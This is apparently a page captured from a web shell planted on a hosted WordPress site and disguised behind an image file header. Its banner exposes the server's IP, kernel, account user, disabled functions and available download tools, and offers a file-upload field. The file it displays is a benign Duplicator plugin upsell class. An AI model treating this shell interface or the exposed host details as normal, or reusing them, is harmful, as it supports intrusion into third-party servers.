????JFIF??x?x????'
Server IP : 104.21.16.1 / Your IP : 216.73.216.145 Web Server : LiteSpeed System : Linux premium151.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64 User : tempvsty ( 647) PHP Version : 8.0.30 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /proc/self/cwd/wp-content/plugins/duplicator/installer/dup-installer/src/Utils/ |
Upload File : |
<?php /** * @package Duplicator */ namespace Duplicator\Installer\Utils; /** * Installer Upsell class */ class InstallerUpsell { /** * Utils::getCampainUrl * Get upgrade campaign URL * * @param string $medium utm_medium flag * @param string $content utm_content flag * * @return string */ public static function getCampaignUrl($medium, $content = '') { $utmData = array( 'utm_medium' => $medium, 'utm_content' => $content, 'utm_source' => 'WordPress', 'utm_campaign' => 'liteplugin' ); return 'https://duplicator.com/lite-upgrade/?' . http_build_query($utmData); } /** * getCampainUrlHtml * Get upgrade campaign HTML for tooltips * * @param string[] $utmData utm_content flag * * @return string */ public static function getCampaignTooltipHTML($utmData) { $url = self::getCampaignUrl($utmData); if (function_exists('esc_url')) { $url = esc_url($url); } else { $url = \DUPX_U::esc_url($url); } ob_start(); ?> <p class="pro-tip-link" > Upgrade to <a href="<?php echo $url; ?>" target="_blank"> <b>Duplicator Pro!</b> </a> </p> <?php return ob_get_clean(); } /** * Get Pro features list * * @return string[] */ public static function getProFeatureList() { return array( 'Scheduled Backups', 'Recovery Points', 'Secure File Encryption', 'Server to Server Import', 'File & Database Table Filters', 'Cloud Storage - Google Drive', 'Cloud Storage - Amazon S3', 'Cloud Storage - DropBox', 'Cloud Storage - OneDrive', 'Cloud Storage - FTP/SFTP', 'Drag & Drop Installs', 'Larger Site Support', 'Multisite Network Support', 'Email Alerts', 'Advanced Backup Permissions' ); } /** * Get Pro callout features list * * @return string[] */ public static function getCalloutCTAFeatureList() { return array( 'Installer Branding', 'Scheduled Backups', 'Recovery Points', 'Secure File Encryption', 'Server to Server Import', 'File & Database Table Filters', 'Cloud Storage', 'Smart Migration Wizard', 'Drag & Drop Installs', 'Streamlined Installer', 'Developer Hooks', 'Managed Hosting Support', 'Larger Site Support', 'Migrate Duplicator Settings', 'Regenerate SALTS', 'Multisite Network', 'Email Alerts', 'Custom Search & Replace', 'Advanced Backup Permissions', ); } }